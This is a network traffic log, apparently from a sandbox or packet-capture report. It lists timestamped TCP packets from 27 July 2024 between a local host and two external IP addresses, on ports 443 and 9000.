Jul 27, 2024 16:57:59.242314100 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.242511988 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.246898890 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.247088909 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.248188972 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.248400927 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.712812901 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.712999105 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.715193987 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.715404987 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.718996048 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.719067097 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.723772049 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.723967075 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.725990057 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.726248026 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:57:59.727739096 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:57:59.727834940 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:00.170737028 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:00.170942068 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:00.172888041 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:00.173183918 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:00.174985886 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:00.175172091 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:00.178358078 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:00.178472042 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.189424992 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.189872026 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.191832066 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.192187071 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.193547010 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.193753958 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.197674990 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.197757006 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.201749086 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.201828003 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.203219891 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.203299999 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.206671000 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.206871033 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.208409071 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.208545923 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.667733908 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.667794943 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.670237064 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.670288086 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.671695948 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.671741962 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:01.674725056 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:01.674782038 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:02.130341053 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:02.130415916 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:02.133069992 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:02.133136034 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:02.135375023 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:02.135448933 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:02.136873960 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:02.136939049 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:02.139537096 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:02.139590979 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:02.151077032 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:58:02.157053947 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:02.458777905 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:02.463004112 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:58:02.468808889 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:02.633992910 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:02.634068966 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.126758099 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.127060890 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.128173113 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.128278971 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.667305946 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.667496920 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.669300079 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.669451952 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.671672106 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.671736002 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.673094034 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.673150063 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.674468040 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.674530983 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.676708937 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.676774025 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.677795887 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.677867889 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:03.679960966 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:03.680051088 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:04.042634010 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:04.042742014 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:04.043302059 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:04.043375015 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:04.044374943 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:04.044440031 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:04.114466906 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:04.114756107 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:04.510025978 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:04.510272980 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:04.511478901 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:04.511708975 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:04.512974024 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:04.513204098 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:05.058123112 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:05.058345079 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:05.059004068 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:05.059190989 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:05.061017036 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:05.061198950 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:05.062206984 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:05.062386036 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:05.064594984 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:05.064671040 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.226696014 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.226965904 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.227988958 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.228213072 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.228818893 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.228895903 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.230707884 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.230775118 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.232897997 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.232959986 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.233992100 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.234172106 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.235729933 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.235795975 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.456351042 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.456567049 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.458345890 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.458533049 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.693917990 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.694184065 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:06.880302906 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:06.880393982 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:07.384181976 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:07.384284973 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:07.385262966 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:07.385327101 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:07.387074947 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:07.387131929 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:07.390880108 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:07.390944004 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:07.786772013 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:07.786875010 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:07.788196087 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:07.788284063 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.228502989 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.228768110 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.229456902 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.229552031 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.231275082 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.231436968 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.675668955 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.675791025 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.677331924 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.677411079 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.677464008 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.677527905 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.677572012 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.729269981 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.969217062 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.969228029 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.969284058 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.969463110 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.969464064 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:08.969526052 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:08.969594002 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.052920103 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.052997112 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.193653107 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.193890095 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.195178032 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.195255995 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.357532978 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.357738018 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.442058086 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.442166090 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.443764925 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.443957090 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.444787025 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.444859028 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.720742941 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.720963955 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.721702099 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.721987009 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.723757029 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.723943949 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:09.947792053 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:09.948028088 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.030394077 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.030492067 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.032171965 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.032248020 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.034203053 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.034265995 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.378026009 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.378252983 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.379087925 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.379271984 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.380320072 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.380389929 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.830050945 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.830295086 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.830914974 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.831113100 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.832695961 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.832777977 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:10.833777905 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:10.833848000 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:11.203619003 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:11.203879118 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:11.204852104 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:11.205169916 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:11.994908094 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:11.995208979 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:11.995807886 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:11.996010065 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:11.997158051 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:11.997246027 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:11.999377012 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:11.999581099 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:12.078130960 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:12.078414917 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:12.340621948 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:12.340940952 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:12.495198011 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:12.495420933 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:12.767657042 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:12.767991066 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:12.894469023 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:12.894784927 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:12.960438013 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:12.960659981 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:13.379251957 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:13.379606962 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:13.380320072 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:13.380558968 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:13.819246054 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:13.819557905 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:13.820684910 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:13.820926905 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:13.822134972 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:13.822321892 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:14.249216080 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:14.249439955 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:14.250916958 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:14.251142025 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:14.252866030 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:14.253065109 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:14.675623894 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:14.675950050 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:14.677593946 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:14.677783966 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:15.168778896 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:15.168951988 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:15.169894934 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:15.170078993 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:15.170137882 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:15.170207977 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:15.170903921 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:15.171082020 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:15.172777891 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:15.172853947 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:15.547502041 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:15.547753096 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:15.549343109 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:15.549541950 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:16.482871056 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:16.482942104 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:16.483185053 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:16.483185053 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:16.483246088 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:16.483311892 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:16.484513044 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:16.484595060 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:16.486072063 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:16.486264944 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:16.528990030 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:16.529428005 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:16.832537889 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:16.832837105 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:16.987009048 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:16.987361908 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:17.666106939 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:17.666459084 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:17.667886972 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:17.668087959 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:17.676373005 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:17.676573992 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:18.067255974 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:18.067549944 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:18.166893005 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:58:18.172358036 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:18.313126087 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:18.313318014 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:18.474121094 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:18.474652052 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:58:18.479950905 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:18.593405008 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:18.593628883 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:18.727596045 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:18.727806091 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:19.535033941 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:19.535211086 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:19.536425114 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:19.536531925 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:19.537573099 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:19.537633896 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:19.794083118 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:19.794300079 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:20.029659033 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:20.029850960 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:20.266280890 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:20.266379118 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:20.268137932 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:20.268213987 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:20.865284920 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:20.865578890 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:20.867088079 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:20.867278099 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:20.868125916 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:20.868323088 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:20.870239973 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:20.870311975 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:21.135570049 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:21.135761976 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:21.569463968 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:21.569772959 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:21.881525040 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:21.881828070 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:22.267916918 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:22.268141985 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:22.383400917 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:22.383608103 CEST	49734	443	192.168.2.4	39.97.203.118
